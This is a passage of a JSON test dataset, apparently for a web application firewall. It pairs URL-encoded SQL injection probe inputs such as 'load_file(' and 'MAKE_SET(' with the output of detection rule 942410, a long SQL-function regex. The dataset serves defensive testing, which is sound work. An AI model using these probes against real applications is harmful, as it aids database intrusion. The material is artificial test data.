"(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=load_file%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=local%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=log%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=log%26%26%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=lower%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=MAKE_SET%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=MAX%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=md5%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_l